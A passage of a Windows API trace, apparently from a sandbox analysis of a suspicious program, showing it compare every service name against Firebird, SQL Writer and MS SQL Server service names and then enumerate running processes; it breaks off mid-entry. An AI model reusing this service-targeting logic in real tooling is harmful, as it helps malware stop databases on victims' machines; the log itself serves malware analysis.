[0152.415] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0152.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0152.415] lstrlenW (lpString="BITS") returned 4 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0152.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0152.415] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0152.415] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0152.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0152.415] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0152.415] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0152.415] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0152.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0152.415] lstrlenW (lpString="CDPSvc") returned 6 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0152.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0152.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0152.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0152.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0152.415] lstrlenW (lpString="ClickToRunSvc") returned 13 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0152.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0152.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0152.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0152.415] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0152.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0152.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0152.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0152.416] lstrlenW (lpString="CryptSvc") returned 8 [0152.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0152.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0152.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0152.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0152.416] lstrlenW (lpString="DcomLaunch") returned 10 [0152.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.416] lstrlenW (lpString="DeviceAssociationService") returned 24 [0152.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0152.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0152.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0152.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0152.416] lstrlenW (lpString="Dhcp") returned 4 [0152.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.416] lstrlenW (lpString="Dnscache") returned 8 [0152.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.417] lstrlenW (lpString="DoSvc") returned 5 [0152.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0152.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0152.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0152.417] lstrlenW (lpString="DPS") returned 3 [0152.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.417] lstrlenW (lpString="DusmSvc") returned 7 [0152.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0152.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0152.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0152.417] lstrlenW (lpString="EventLog") returned 8 [0152.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0152.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0152.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0152.417] lstrlenW (lpString="EventSystem") returned 11 [0152.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.418] lstrlenW (lpString="FontCache") returned 9 [0152.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0152.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0152.418] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0152.418] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0152.418] lstrlenW (lpString="gpsvc") returned 5 [0152.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.418] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.418] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.418] lstrlenW (lpString="iphlpsvc") returned 8 [0152.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.418] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.418] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.418] lstrlenW (lpString="KeyIso") returned 6 [0152.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0152.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0152.418] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0152.418] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0152.418] lstrlenW (lpString="LanmanServer") returned 12 [0152.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.419] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.419] lstrlenW (lpString="lfsvc") returned 5 [0152.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0152.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0152.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0152.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0152.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0152.419] lstrlenW (lpString="lmhosts") returned 7 [0152.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.419] lstrlenW (lpString="LSM") returned 3 [0152.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0152.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0152.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0152.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0152.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0152.420] lstrlenW (lpString="MapsBroker") returned 10 [0152.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0152.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0152.420] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0152.420] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0152.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0152.420] lstrlenW (lpString="MpsSvc") returned 6 [0152.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.420] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.420] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.420] lstrlenW (lpString="NcbService") returned 10 [0152.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0152.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0152.420] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0152.420] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0152.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0152.420] lstrlenW (lpString="netprofm") returned 8 [0152.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.420] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.420] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.420] lstrlenW (lpString="NlaSvc") returned 6 [0152.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.421] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.421] lstrlenW (lpString="nsi") returned 3 [0152.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.421] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.421] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.421] lstrlenW (lpString="PcaSvc") returned 6 [0152.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.421] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.421] lstrlenW (lpString="PlugPlay") returned 8 [0152.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.421] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.421] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.421] lstrlenW (lpString="Power") returned 5 [0152.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.422] lstrlenW (lpString="ProfSvc") returned 7 [0152.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.422] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.422] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.422] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.422] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.422] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.422] lstrlenW (lpString="RpcSs") returned 5 [0152.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.422] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.422] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.422] lstrlenW (lpString="SamSs") returned 5 [0152.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.422] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.422] lstrlenW (lpString="Schedule") returned 8 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.423] lstrlenW (lpString="SecurityHealthService") returned 21 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0152.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0152.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0152.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0152.423] lstrlenW (lpString="SENS") returned 4 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.423] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.423] lstrlenW (lpString="Spooler") returned 7 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.423] lstrlenW (lpString="sppsvc") returned 6 [0152.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0152.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0152.424] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0152.424] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0152.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0152.424] lstrlenW (lpString="SSDPSRV") returned 7 [0152.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0152.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0152.424] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0152.424] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0152.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0152.424] lstrlenW (lpString="StateRepository") returned 15 [0152.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0152.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0152.424] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0152.424] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0152.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64cc50 | out: hHeap=0x5a0000) returned 1 [0152.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0152.429] Process32FirstW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.272] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.274] lstrlenW (lpString="System") returned 6 [0153.274] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.275] lstrlenW (lpString="smss.exe") returned 8 [0153.276] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.276] lstrlenW (lpString="csrss.exe") returned 9 [0153.277] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.278] lstrlenW (lpString="wininit.exe") returned 11 [0153.278] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.279] lstrlenW (lpString="csrss.exe") returned 9 [0153.279] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.280] lstrlenW (lpString="winlogon.exe") returned 12 [0153.281] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.282] lstrlenW (lpString="services.exe") returned 12 [0153.282] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.296] lstrlenW (lpString="lsass.exe") returned 9 [0153.296] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.297] lstrlenW (lpString="svchost.exe") returned 11 [0153.297] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.298] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.298] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0153.299] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0153.299] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.300] lstrlenW (lpString="svchost.exe") returned 11 [0153.300] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, 